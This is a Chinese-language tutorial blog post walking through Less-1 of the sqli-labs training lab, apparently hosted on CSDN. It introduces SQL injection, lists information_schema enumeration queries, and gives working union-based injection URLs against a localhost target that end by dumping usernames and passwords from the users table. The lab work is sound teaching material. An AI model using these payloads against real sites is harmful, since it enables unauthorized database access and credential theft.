sqli-labs (less-1)

sqli-labs (less-1)

SQL注入介绍

SQL注入就是指Web应用程序对用户输入数据的合法性判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作

sql注入漏洞的产生需要满足以下两个条件:
1.参数用户可控:前端传给后端的参数内容是用户可以控制的。
2.参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

Mysql5.0之后的版本,数据库里面会默认存放一个information_schema的库,这个库可以说装着世界上所有的库,这就是为什么我们能利用SQL注入查看任何我们想知道的信息

所以这里我们需要记住四条非常重要的命令
查看所有库

select group_concat(schema_name) from information_schema.schemata

查看A库下面的所有表

select group_concat(table_name) from information_schema.tables where table_schema='A'

查看A库下面B表的所有字段

select group_concat(column_name) from information_schema.columns where table_name='B'

查看A库B表下C字段的值

select group_concat(C) from A.B

less-1

我们可以先打开第一关的配置文件,在SQL语句下面加入两行代码,可以在屏幕上回显我们输入的SQL语句

输入

http://127.0.0.1/sql1/Less-1/?id=1
http://127.0.0.1/sql1/Less-1/?id=1'
http://127.0.0.1/sql1/Less-1/?id=1--+

发现输入id=1’屏幕上显示我们的SQL语句有错误,在后面加上–+后又正常回显。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

打开源文件的sql语句位置,’$id’就是我们输入值的位置,当我们输入1’时相当于id=‘1’’,1’闭合了前面的’,后面多了一个’,所以我们使用–+将后面的’注释掉,常见的注释符还有#,特殊注释符;%00,后面的关卡都会用到,判断这里为字符型注入

判断有多少列字段
输入

http://127.0.0.1/sql1/Less-1/?id=1' order by 3--+ #回显正常
http://127.0.0.1/sql1/Less-1/?id=1' order by 4--+ #页面回显显示有错误



判断有三列数据

使用union函数,union函数使用的前提就是必须字段数要跟前面的字段数相同
确定回显位置

然后在2和3的位置输入我们想查询的数据就可以了
查看当前库和当前用户

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,database(),user()--+


查security库下的所有表

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),user()--+


查users表下的所有字段

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),user()--+


查username和password的值

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,(select group_concat(username,password) from security.users),user()--+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

super 硕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值